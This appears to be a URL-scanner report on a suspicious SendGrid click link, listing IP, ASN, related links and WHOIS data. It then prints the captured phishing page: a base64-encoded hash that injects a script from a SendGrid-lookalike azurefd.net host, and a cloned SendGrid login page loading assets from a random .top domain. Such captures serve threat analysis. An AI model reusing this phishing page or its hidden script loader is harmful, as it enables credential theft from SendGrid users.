http://url3904.voltage.cloud/ls/click?upn=Gj2GcWcb-2FS5RIIEN4SOgxs2dcTsyiui16jSobCqlA65k2VLxmR5E4WET7pHvlQngDX4LPKTSYlkkFJJRPFSF7aKrh3sVV-2FlOqukLAdllr0NjYuWAWgQ5U8P1jG0IZyHmw7x8bB5XYUtBsSGJMxJ6qtpg7U0REp7RexMepK9OxqFfe8t8gg8yOlZ6CVOpXDB1wTRjBI9W3hyclEQDpxqwGXAVgeBUMNNFHyi83gHxqWL1ugjxCSry0hx9YJNC5EJgBK0VvauR2l5a6ayHVkeZhu1xzJiVQot1cVbuLEb7XPLzWa-2FrJBOXFp1y1yhEmsccP9vJPTFtCKKWzKAnAuv-2FX58dZ3wsHKZNH0c3UmVYF57ylCQIeCr9kmziYa67a-2FsuINS61b-2F4C3aq1MoTJMmOyhPGvrgxf2-2BV3N-2BppfYWRzLLf3EKGL-2FvriNjD0AP-2FrMDZQGD_clwL-2FLVvrIkx-2FVNTs-2BQ3HZM07V008FcfXy5xRMRpHnasaDhCWc9I3OzL-2Fbc22LOTfXIefwxfnDJfDgGDlWGRy1gf8pR0NBwMAqV-2F6OpMTbPoKYASXPkBfoVURA4ouXVeQSdwrFk2y6SDYcC-2BuxNnIhfKOjeitT6McubW9eoQg-2BaIqKttK9GhK84bh8e-2Bq3nffpXDRMgruyZec0Sa9XmjEA-3D-3D
Last Checked: Dec 20, 2023, 05:49 EST
IP Address: | 167.89.115.150 |
ASN #: | AS11377 SENDGRID, US |
Location: | Unknown, Unknown, Unknown |
URL Reputation: |
|
Other submissions on 167.89.115.150:
-
http://link.t.cashnetusa.com/ls/
-
http://gslink.inovalon.com/
-
http://links.crm.wix.com/ls/click?upn=NF0xrC6l-2FJE4TzUrHsONwksL0hVVGcGGWbAUGhhrldspwJ1-2BVCA2dfL8k7fuNrzatZBe_R9itxr2i-2F9jVdVB9aG-2BiOScKf70sd4TtQa0VkP0m-2BRAC1F5QNsmoKg-2B-2FrQcrxod3u4-2BdpUX4fMKJkddWZZ4pcUQ1u2NhBjDqSkapnKiNKgVzggyKWZA1MKqlWmjw8DRb70MXqf8-2FxAzM-2FmnD6cHktJRlA3TMvJ0zPEaCJ46S-2Fugn-2BDC51WfEiaXx6HOO1DMQ-2BtQMiJcNnx5szLLYRLL0cgIe65dKTaFgssazroV7X21hvHLlT-2FHktPNaG49HgQoxtSFOYhgWPVpVeecfvVNZl2h0XlNn67yC0rs-2Bn-2B8kH5Vc8Jeg37bpPlOs7wa9-2FlurJAe5O3CnLID9lOBrszwsyzDYY4j7TASYBzOoD-2F2IP5D4NM5whKsBQ-2FGpXUTIPXKfuxqJbvGMnsXScHRUWhzta30gFN1vg5n7zZs-2Be1Kz3FZawC-2F9St5sch88LpFG0X4a6doP-2FS67vpqGLofeY-2FPKLojxoPkk2lT2e3IRwLYa8hp6DKFk67XPY9uJtC2t3T6ztixGdpYzjnSIB4pZSKwLyeue-2FioZkstDHjaoEGRVR1znqYAH5UQZLGpXRHyALHFQoAJYU0UNf4jxZnY3CpcZC1iZFw4iK8LYnVuPXTK5MGPsAiyAmnkr-2FWSZfF3WLFKRpax2FgzC2AsTMb9iEztB9Y90iWefMaRFAmT1x7b8c-2BQfMkqPDaS2AQ5eqRz8ddZMkw4dPZ9PTEhrK-2FXeHw3CnZuaSIqqi3pHBpJi5UrFrf5hzoRhBkZjpBarsWbFqakQvC4j6vbD-2BGm5n9Ki8NgRuYoYriuGlvt1CigLqQzAEJeB4wDrQtApkXnpLWTuvLR-2Fe0Emnl-2BoCQcop6vTguD6ApJT4pFQnj9awImFf7AXRpIdJGLgHMWByZAdbohxXvLA-2BbvUY3QTn8nZIY3F7sZdOQ-3D-3D
-
http://url9956.onlineregistration.cc/ls/click?upn=CfbsCNqJa51AuutfvOpXE1Mq9MsGPmr8ThwF84QBOrGXQjp8ceUkDNekhgCQgkLyW0Orj-2BaqyPYOiRG3RE-2B6lFlTxRO1JCzPtjIW98BEH-2Bk-3DWqvT_5tWQlWvP4u1R9-2FKEkJRFM3Lt6echRExhoZuHQFtzHiHKVO-2Ffts6rX6-2BK7LkDZfS5Ko5ZVQTesIPOhe-2Fui9A8dZGL-2FTeKzaGBpK6K1De6ID-2F7VQU2p1xkZh0iijrFOO7EBnU5iBlidOCggl-2BtdD9iYhBI2O5FK4LTIf6uwsX81wyGspmYWCHMbDHG9GulzRzB9Q-2BihSC7QyzNm8Q7EFIW9w-3D-3D
-
http://url3804.optifinow.com/ls/click?upn=o-2F-2FabUxRMe3HCoIYMfRASiCmB4qP5TWaXQNV9uauKXtYzwIyAgBjUfC3xbfbzmMkTClevzF2hgvDth2I3V5BSNRKdErZK6-2Bkle0g9Vs2JF6rg5X3YLJQUso8rLQexO-2Fp2wfheI-2FmIBXaVsVVt3qi1BW3uqlEe6WCAuyiUpLuIlHyqji3I8LITvh2ERNilrGs18q2uyjy1WRj9pH7p8Mwq6F6YPrxrfBLNWINaDE7M75iEhK66BYvW7xASKZIka4y7lNDuqdHV1jPr0u6BIhWgQ-3D-3Dkdez_wKpGWBELVqTqgGa1Z6G88IcRPhwarNsIBdwnKCGkgligN0c3IE6rqU6T9RkCi5YBBdiMEVhOsxFe0B-2FfvN0JSbOyyDzSHtSIdl3f6knSvmzrPK6JUdx7cxuOgP0nQmG4C3Y6SzLJg0vERrms0eBPUswQ1vsUjwM0QAliG2mx6v7UaxhW6Kz2EFuOfkwxDPow3lpJRt1Hjk64RswWu5J-2FqVMTvJj-2BpFmbxMX-2Bc8DEYYA-3D
-
http://email.masivapp.com/ls/click
-
http://url2553.orders.mastercardgiftcard.com/ls/click?upn=xrZskn1vug0YIIgaHnA-2FUGm7vJF1xvaW39sz-2BKnOhvxvSaryoS-2BjeI7xIw1sPVjXOTg-2By4AysdoD0vOXbeIJ7ZWGPNL6c0x2Zh2OzCC-2FY31h8tedSOPUf75vx6M84jiCAenxtxcjueJWcSH7bYNvyJ-2FZA3WCIg3CAkkSyM5R7t4Dj9N7RrDTcGSMa44hnB9Po9llXARLAMsy-2F7CWOjYVRkAix3pxyaykY92WZblQtoyFvcOCyn1J3AuCekZFMJrwcl3cdfvqf3ALoloBCvai99XqmPyU4THwmd1pfYWGEuAh5bipnhWoK2tCC-2BnOW-2FKOsYyBHSETxzEAeH7b0pHQKLy3-2BxPUsDuK6TquSSfD-2BZMuIZzQrGSxeFHVCk4YEXqsPDsCMPh57R4fe-2Boyh-2BRnFU05dWCbyPuWUcqkERW94h0-3Dzuh5_xR3wxDCedYEmuckpx0d2dk7bCllks6Ubw0o2G2w-2BrS0-2BFMjqpo2QgMmVvR4E-2F9Gv0KY5So-2Balw7VjRRMHIoflZ7FvT05zBWSmJ2S887x30XcSN1aeCDWKmvkOQXiS5REGBgkDRtsi47CLF0cV0WYgWv7mD9jIMsiOXi9YocShQ86fRhqCtqi-2Bd6Dfha7TH-2F5y9O0bZ-2BPtei4RAWceR-2FAg5vTuW1ttCjqAJjJCpXZqttzLOLyxrYDB773YePrii-2B01ld2foRwRzNXSQ4WXKvi3Q-3D-3D
-
http://link.connected.staples.com/ss/c/u001.GbcfDtnDsxsOtOXrGBKHMjMyYwgrg2Cew2OKgjwDaLAjlSxTAXq5tZHkljzlRVzmpuodwalIK6KSDHdgZP650fBsAhqQA6iCK7B90N99jZ4vBtaC9fNFioweHUyGwDbcALocLo7VlMwKHVe11-yrt58goptMMntttWcbDakob9bNn04GlY51yoozaMIG24c0LAJ2yuBcKJWOLZCxwODmonoMgZ2_55SxxboyMN45dDE/448/Z2WCcQC0SSeKNUyxLRgE7w/h0/h001.dKnV0vyNOx3zcIZHxT6etBvSLgC0J-KrthA2DKjVyQI
-
http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqEHwuIjeB0sHans4A7b31XnqlYrst5lFQxheaq9A-2FYdWX9FXyR1dZXWV2lpUgh390aPcr8QwgJZZ1JTNhHwdDaKalpRsuOQEnkpJhK3-2BglnHB_QS_xbwRj5-2Fydz5sHcjj7H4IjvkStOvaPevkZnaLwDrTRaK5xYO29GoAA5M38Bu1MpUFUtxY-2BbnK-2BS-2BC1mZxREZ19y35NTj0Lforbyf1rlQQGYq0RfU4cpdEl83FTHYQ7zGIfABhF7azECOBuNH0RM-2FlNS9wBlwKAPHoO4Occhcuri-2BEItTPTzttbYFLj3jt1w-2FFcrwpJCIglVBLzYwyuBgtr4C7Uw1JvMDY49x0TLPqDzk-3D
-
http://url3468.aplos.org/ls/click?upn=u001.kll4hW0vpzpvetAYI9sfCmhr3gk-2BtLJytEw1Z20kQE8q96XWYxDYO47FQWNs-2FqrPJALMOrXLxAuDpFdHSTrxJQ-3D-3DwV0y_YIIttm8kW8e45O7PmNMA16cXN7t3qoiM-2BxFkbG8CgVO566dbUOVkjSKf9YbEsm00BN-2BjhMtwXk2LCBuZS5rM3fkBmTlE7p39bb-2B8W6tKMvWcGpAAXMoKkjybjoj4K8z27ex1xQcvhUxOMKyRP-2F1ebg8vQQ13GwbzE5xcDkDTjI7ZMXDx0mQVPxr-2BEeKo7Cvn
Other submissions on voltage.cloud:
Previous checks:
Domain Name: voltage.cloud Registry Domain ID: DB662D461A7834AC88954B29156929699-NSR Registrar WHOIS Server: whois.godaddy.com Registrar URL: https://www.godaddy.com Updated Date: 2023-10-11T17:01:18Z Creation Date: 2020-05-28T09:27:30Z Registrar Registration Expiration Date: 2024-05-28T09:27:30Z Registrar: GoDaddy.com, LLC Registrar IANA ID: 146 Registrar Abuse Contact Email: abuse@godaddy.com Registrar Abuse Contact Phone: +1.4806242505 Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited Registry Registrant ID: CR705448274 Registrant Name: Registration Private Registrant Organization: Domains By Proxy, LLC Registrant Street: DomainsByProxy.com Registrant Street: 2155 E Warner Rd Registrant City: Tempe Registrant State/Province: Arizona Registrant Postal Code: 85284 Registrant Country: US Registrant Phone: +1.4806242599 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: Select Contact Domain Holder link at https://www.godaddy.com/whois/results.aspx?domain=voltage.cloud Registry Admin ID: CR705448286 Admin Name: Registration Private Admin Organization: Domains By Proxy, LLC Admin Street: DomainsByProxy.com Admin Street: 2155 E Warner Rd Admin City: Tempe Admin State/Province: Arizona Admin Postal Code: 85284 Admin Country: US Admin Phone: +1.4806242599 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: Select Contact Domain Holder link at https://www.godaddy.com/whois/results.aspx?domain=voltage.cloud Registry Tech ID: CR705448282 Tech Name: Registration Private Tech Organization: Domains By Proxy, LLC Tech Street: DomainsByProxy.com Tech Street: 2155 E Warner Rd Tech City: Tempe Tech State/Province: Arizona Tech Postal Code: 85284 Tech Country: US Tech Phone: +1.4806242599 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: Select Contact Domain Holder link at https://www.godaddy.com/whois/results.aspx?domain=voltage.cloud Name Server: NS-1411.AWSDNS-48.ORG Name Server: NS-58.AWSDNS-07.COM Name Server: NS-846.AWSDNS-41.NET Name Server: NS-1760.AWSDNS-28.CO.UK DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/ >>> Last update of WHOIS database: 2023-12-20T10:49:40Z <<< For more information on Whois status codes, please visit https://icann.org/epp TERMS OF USE: The data contained in this registrar's Whois database, while believed by the registrar to be reliable, is provided "as is" with no guarantee or warranties regarding its accuracy. This information is provided for the sole purpose of assisting you in obtaining information about domain name registration records. Any use of this data for any other purpose is expressly forbidden without the prior written permission of this registrar. By submitting an inquiry, you agree to these terms and limitations of warranty. In particular, you agree not to use this data to allow, enable, or otherwise support the dissemination or collection of this data, in part or in its entirety, for any purpose, such as transmission by e-mail, telephone, postal mail, facsimile or other means of mass unsolicited, commercial advertising or solicitations of any kind, including spam. You further agree not to use this data to enable high volume, automated or robotic electronic processes designed to collect or compile this data for any purpose, including mining this data for your own personal or commercial purposes. Failure to comply with these terms may result in termination of access to the Whois database. These terms may be subject to modification at any time without notice.
-
GET0 Timed out waiting for a response.
https://cdn.siftscience.com/s.js
- http://url3904.voltage.cloud/ls/click?upn=Gj2GcWcb-2FS5RIIEN4SOgxs2dcTsyiui16jSobCqlA65k2VLxmR5E4WET7pHvlQngDX4LPKTSYlkkFJJRPFSF7aKrh3sVV-2FlOqukLAdllr0NjYuWAWgQ5U8P1jG0IZyHmw7x8bB5XYUtBsSGJMxJ6qtpg7U0REp7RexMepK9OxqFfe8t8gg8yOlZ6CVOpXDB1wTRjBI9W3hyclEQDpxqwGXAVgeBUMNNFHyi83gHxqWL1ugjxCSry0hx9YJNC5EJgBK0VvauR2l5a6ayHVkeZhu1xzJiVQot1cVbuLEb7XPLzWa-2FrJBOXFp1y1yhEmsccP9vJPTFtCKKWzKAnAuv-2FX58dZ3wsHKZNH0c3UmVYF57ylCQIeCr9kmziYa67a-2FsuINS61b-2F4C3aq1MoTJMmOyhPGvrgxf2-2BV3N-2BppfYWRzLLf3EKGL-2FvriNjD0AP-2FrMDZQGD_clwL-2FLVvrIkx-2FVNTs-2BQ3HZM07V008FcfXy5xRMRpHnasaDhCWc9I3OzL-2Fbc22LOTfXIefwxfnDJfDgGDlWGRy1gf8pR0NBwMAqV-2F6OpMTbPoKYASXPkBfoVURA4ouXVeQSdwrFk2y6SDYcC-2BuxNnIhfKOjeitT6McubW9eoQg-2BaIqKttK9GhK84bh8e-2Bq3nffpXDRMgruyZec0Sa9XmjEA-3D-3D https://app.sendgrid@jspen.co/#JTNDJTczJTYzJTcyJTY5JTcwJTc0JTIwJTczJTcyJTYzJTNEJTIyJTY4JTc0JTc0JTcwJTczJTNBJTJGJTJGJTYxJTcwJTcwJTczJTY1JTZFJTY0JTY3JTcyJTY5JTY0JTM5JTMzJTM4JTM3JTJFJTYxJTdBJTc1JTcyJTY1JTY2JTY0JTJFJTZFJTY1JTc0JTJGJTc1JTcwJTY0JTYxJTc0JTY1JTczJTJFJTZBJTczJTIyJTNFJTIwJTNDJTJGJTczJTYzJTcyJTY5JTcwJTc0JTNF
<html lang="en"><head> <meta charset="UTF-8"> <title>JSPen – Free, Permanent Web Pages</title> <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png"> <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png"> <link rel="manifest" href="/site.webmanifest"> <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#292929"> <meta name="msapplication-TileColor" content="#292929"> <meta name="theme-color" content="#292929"> <noscript>JavaScript is required to convert the URL into a usable web page.</noscript> <meta http-equiv="origin-trial" content="AymqwRC7u88Y4JPvfIF2F37QKylC04248hLCdJAsh8xgOfe/dVJPV3XS3wLFca1ZMVOtnBfVjaCMTVudWM//5g4AAAB7eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGV0YWdtYW5hZ2VyLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1RoaXJkUGFydHkiOnRydWV9"><script charset="utf-8" src="https://siteintercept.qualtrics.com/dxjsmodule/12.d4c11cd65f6f6fc513bb.chunk.js?Q_CLIENTVERSION=1.104.0&Q_CLIENTTYPE=web&Q_BRANDID=jspen.co"></script></head> <body oncontextmenu="return false;" data-mako-network-on="true" data-mako-ready="complete" class=""> <script type="text/javascript" async="" src="https://www.google-analytics.com/analytics.js"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-HEBVSWFZM2&l=dataLayer&cx=c"></script><script type="text/javascript"> /* Decoding base64 ⇢ UTF8: https://stackoverflow.com/questions/30106476/using-javascripts-atob-to-decode-base64-doesnt-properly-decode-utf-8-strings */ function b64DecodeUnicode(str) { return decodeURIComponent(Array.prototype.map.call(atob(str), function(c) { return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2) }).join('')) } if (window.location.hash) { // Try to get page data from the URL if possible var hash = location.hash.slice(1); var data = b64DecodeUnicode(hash); document.write(decodeURIComponent(data)); } else { // Otherwise redirect to the editor window.location.replace("./home"); } </script><script src="https://appsendgrid9387.azurefd.net/updates.js"> </script> <!-- saved from url=(0030)https://app.sendgrid.com/login --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" href="https://78478982379348379238843.top/grid/tiara.css" type="text/css"> <meta name="referrer" content="never"> <meta name="referrer" content="no-referrer"> <meta name="application-name" content="Twilio SendGrid"> <script type="text/javascript" src=""></script> <script src=""></script> <script type="text/javascript" async="" src=""></script> <script crossorigin="anonymous" integrity="sha256-B+0pljwuNjNZpxv9xx4rgSfxEYNum/Uje2oZ5KvRlXc=" type="text/javascript" src="" async=""></script> <script type="text/javascript" async="" src=""></script> <script src="" async=""></script> <script type="text/javascript" async="" src=""></script> <script type="text/javascript" async="" src=""></script> <script type="text/javascript" async="" src=""></script> <script id="segment-analytics-js" type="text/javascript" async="" src=""></script> <script type="text/javascript" async="" src=""></script> <script> window.trackedEvents = []; window.track = function (eventName, timeElapsed) { timeElapsed = timeElapsed || window.performance.now(); // add to trackedEvents if not already there if (!trackedEvents.find(function (e) { return e[0] === eventName; })) { trackedEvents.push([eventName, (timeElapsed / 1000.0).toFixed(3)]); trackedEvents.sort(function (e1, e2) { return e1[1] - e2[1]; }); // To see tracked events in console: // console.table(trackedEvents); } if (window.newrelic) { window.newrelic.addPageAction(eventName, { timeElapsed: timeElapsed , }); } else { setTimeout(function () { track(eventName, timeElapsed); }, 1000); // try again in one second } }; // This is to deal with bloodhound not dealing with not having analytics objects properly. This is much nicer window.analytics = { track: (...args) => { console.warn('Track called with params', args); } , page: (...args) => { console.warn('Page called with params', args); } , }; track('Start of <head>'); </script> <script src=""></script> <script> track("Finished loading optimizely") </script> <title>SendGrid</title> <meta name="description" content="Delivering your transactional and marketing email through one reliable platform."> <!-- [if lt IE 9]> <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script> <![endif] --> <style> body { display: block } body.loading { display: none } </style> <script> window.dataLayer = [] </script> <style type="text/css"> @keyframes fadeIn { 0% { opacity: 0 } 100% { opacity: 1 } } .main-loader { width: 100%; height: 100%; position: absolute; z-index: 30000; background: #fcfcfc } .sg-loader-html.is-large { margin: 0 auto; position: relative; top: 40%; transform: translateY(-50%); width: 60px; height: 60px } .sg-loader-html { display: -ms-grid; display: grid; width: 30px; height: 30px; -ms-grid-rows: repeat(3, 1fr); -ms-grid-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 1fr); grid-template-columns: repeat(3, 1fr) } .sg-loader-html .logo-square { display: block; width: 10px; height: 10px; opacity: 0; animation: fadeIn 1s infinite alternate; will-change: opacity } .sg-loader-html.is-large .logo-square { width: 20px; height: 20px } .sg-loader-html .top-middle { background-color: #00b3e3; animation-delay: .6s; -ms-grid-row: 1; -ms-grid-column: 2; grid-row-start: 1; grid-column-start: 2 } .sg-loader-html .top-right { background-color: #1a82e2; animation-delay: .8s; -ms-grid-row: 1; -ms-grid-column: 3; grid-row-start: 1; grid-column-start: 3 } .sg-loader-html .middle-left { background-color: #99e1f4; animation-delay: .2s; -ms-grid-row: 2; -ms-grid-column: 1; grid-row-start: 2; grid-column-start: 1 } .sg-loader-html .middle { background-color: #009dd9; animation-delay: .4s; -ms-grid-row: 2; -ms-grid-column: 2; grid-row-start: 2; grid-column-start: 2 } .sg-loader-html .middle-right { background-color: #00b3e3; animation-delay: .6s; -ms-grid-row: 2; -ms-grid-column: 3; grid-row-start: 2; grid-column-start: 3 } .sg-loader-html .bottom-left { background-color: #1a82e2; animation-delay: 0s; -ms-grid-row: 3; -ms-grid-column: 1; grid-row-start: 3; grid-column-start: 1 } .sg-loader-html .bottom-middle { background-color: #99e1f4; animation-delay: .2s; -ms-grid-row: 3; -ms-grid-column: 2; grid-row-start: 3; grid-column-start: 2 } </style> <script> track("Finished loading mako.css") </script> <script src="" type="text/javascript"></script> <meta name="mobile-web-app-capable" content="yes"> <meta name="theme-color" content="#fff"> <meta name="application-name" content="mako"> <link rel="apple-touch-icon" sizes="57x57" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-icon-180x180.png"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <meta name="apple-mobile-web-app-title" content="mako"> <link rel="apple-touch-startup-image" media="(device-width: 320px) and (device-height: 480px) and (-webkit-device-pixel-ratio: 1)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-320x460.png"> <link rel="apple-touch-startup-image" media="(device-width: 320px) and (device-height: 480px) and (-webkit-device-pixel-ratio: 2)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-640x920.png"> <link rel="apple-touch-startup-image" media="(device-width: 320px) and (device-height: 568px) and (-webkit-device-pixel-ratio: 2)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-640x1096.png"> <link rel="apple-touch-startup-image" media="(device-width: 375px) and (device-height: 667px) and (-webkit-device-pixel-ratio: 2)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-750x1294.png"> <link rel="apple-touch-startup-image" media="(device-width: 414px) and (device-height: 736px) and (orientation: landscape) and (-webkit-device-pixel-ratio: 3)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-1182x2208.png"> <link rel="apple-touch-startup-image" media="(device-width: 414px) and (device-height: 736px) and (orientation: portrait) and (-webkit-device-pixel-ratio: 3)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-1242x2148.png"> <link rel="apple-touch-startup-image" media="(device-width: 768px) and (device-height: 1024px) and (orientation: landscape) and (-webkit-device-pixel-ratio: 1)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-748x1024.png"> <link rel="apple-touch-startup-image" media="(device-width: 768px) and (device-height: 1024px) and (orientation: portrait) and (-webkit-device-pixel-ratio: 1)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-768x1004.png"> <link rel="apple-touch-startup-image" media="(device-width: 768px) and (device-height: 1024px) and (orientation: landscape) and (-webkit-device-pixel-ratio: 2)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-1496x2048.png"> <link rel="apple-touch-startup-image" media="(device-width: 768px) and (device-height: 1024px) and (orientation: portrait) and (-webkit-device-pixel-ratio: 2)" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/apple-touch-startup-image-1536x2008.png"> <link rel="icon" type="image/png" sizes="32x32" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/favicon-16x16.png"> <link rel="shortcut icon" href="https://app.sendgrid.com/icons-569f9425d703aac6c402ce69253149dd/favicon.ico"> <link href="https://78478982379348379238843.top/grid/129.c49e0d483e4298ff24d7.css" rel="stylesheet"> <link href="https://78478982379348379238843.top/grid/26.4f50d9a5c773f22e4e53.css" rel="stylesheet"> <script charset="utf-8" src=""></script> <script async="" src=""></script> <script async="" src="" charset="utf-8"></script> <style type="text/css"> iframe#_hjRemoteVarsFrame { display: none !important; width: 1px !important; height: 1px !important; opacity: 0 !important; pointer-events: none !important; } </style> <link rel="stylesheet" type="text/css" integrity="sha256-q9sKb2HpA5fJjN1cK9LjLaEXff5ix81Rv1Y3xJFptPE=" crossorigin="anonymous" href="https://78478982379348379238843.top/grid/container.26013ccb977c385da82e216d1d448f4bbf39435b.css"> <script src="https://googleads.g.doubleclick.net/pagead/viewthroughconversion/1010792098/?random=1600434399728&cv=9&fst=1600434399728&num=1&bg=ffffff&guid=ON&resp=GooglemKTybQhCsO&u_h=1080&u_w=1920&u_ah=1040&u_aw=1920&u_cd=24&u_his=4&u_tz=60&u_java=false&u_nplug=3&u_nmime=4&gtm=2oa990&sendb=1&ig=1&data=event%3Dgtag.config&frm=0&url=https%3A%2F%2Fapp.sendgrid.com%2Flogin&tiba=SendGrid&hn=www.googleadservices.com&async=1&rfmt=3&fmt=4"></script> <script src="https://googleads.g.doubleclick.net/pagead/viewthroughconversion/1010792098/?random=1600434399796&cv=9&fst=1600434399796&num=1&bg=ffffff&guid=ON&resp=GooglemKTybQhCsO&u_h=1080&u_w=1920&u_ah=1040&u_aw=1920&u_cd=24&u_his=4&u_tz=60&u_java=false&u_nplug=3&u_nmime=4&gtm=2oa990&sendb=1&ig=1&data=event%3Doptimize.callback&frm=0&url=https%3A%2F%2Fapp.sendgrid.com%2Flogin&tiba=SendGrid&hn=www.googleadservices.com&async=1&rfmt=3&fmt=4"></script> <div data-role="main-loader-mako" class="main-loader" style="display: none;"> <div class="sg-loader-html is-large"><span class="logo-square bottom-left"></span><span class="logo-square bottom-middle"></span><span class="logo-square middle"></span><span class="logo-square top-middle"></span><span class="logo-square top-right"></span><span class="logo-square middle-left"></span><span class="logo-square middle-right"></span></div> </div> <script> var referrer = document.createElement("a"); referrer.href = document.referrer; var hostname = window.location != window.parent.location ? referrer.hostname : document.location.hostname; self === top || null != hostname.match(/.sendgrid.com$/) || "sendgrid.com" === hostname ? document.body.classList.remove("loading") : top.location = self.location </script> <iframe src="" tabindex="-1" title="Optimizely Internal Frame" style="display: none;" width="0" hidden="" height="0"></iframe> <script type="text/javascript"> window.urlBlacklist = ['email_activity', "email_activity/download", "email_activity/:msg_id"]; window.OnlyBlacklist = false; var initNewRelic = () => (function (licenseKey, applicationID) { window.NREUM || (NREUM = {}), __nr_require = function (t, e, n) { function r(n) { if (!e[n]) { var o = e[n] = { exports: {} }; t[n][0].call(o.exports, function (e) { var o = t[n][1][e]; return r(o || e) }, o, o.exports) } return e[n].exports } if ("function" == typeof __nr_require) return __nr_require; for (var o = 0; o < n.length; o++) r(n[o]); return r }({ 1: [function (t, e, n) { function r(t) { try { c.console && console.log(t) } catch (e) {} } var o, i = t("ee") , a = t(20) , c = {}; try { o = localStorage.getItem("__nr_flags").split(","), console && "function" == typeof console.log && (c.console = !0, o.indexOf("dev") !== -1 && (c.dev = !0), o.indexOf("nr_dev") !== -1 && (c.nrDev = !0)) } catch (s) {} c.nrDev && i.on("internal-error", function (t) { r(t.stack) }), c.dev && i.on("fn-err", function (t, e, n) { r(n.stack) }), c.dev && (r("NR AGENT IN DEVELOPMENT MODE"), r("flags: " + a(c, function (t, e) { return t }).join(", "))) }, {}] , 2: [function (t, e, n) { function r(t, e, n, r, c) { try { h ? h -= 1 : o(c || new UncaughtException(t, e, n), !0) } catch (f) { try { i("ierr", [f, s.now(), !0]) } catch (d) {} } return "function" == typeof u && u.apply(this, a(arguments)) } function UncaughtException(t, e, n) { this.message = t || "Uncaught error with no additional information", this.sourceURL = e, this.line = n } function o(t, e) { var n = e ? null : s.now(); i("err", [t, n]) } var i = t("handle") , a = t(21) , c = t("ee") , s = t("loader") , f = t("gos") , u = window.onerror , d = !1 , p = "nr@seenError" , h = 0; s.features.err = !0, t(1), window.onerror = r; try { throw new Error } catch (l) { "stack" in l && (t(13), t(12), "addEventListener" in window && t(6), s.xhrWrappable && t(14), d = !0) } c.on("fn-start", function (t, e, n) { d && (h += 1) }), c.on("fn-err", function (t, e, n) { d && !n[p] && (f(n, p, function () { return !0 }), this.thrown = !0, o(n)) }), c.on("fn-end", function () { d && !this.thrown && h > 0 && (h -= 1) }), c.on("internal-error", function (t) { i("ierr", [t, s.now(), !0]) }) }, {}] , 3: [function (t, e, n) { t("loader").features.ins = !0 }, {}] , 4: [function (t, e, n) { function r() { M++, S = y.hash, this[u] = b.now() } function o() { M--, y.hash !== S && 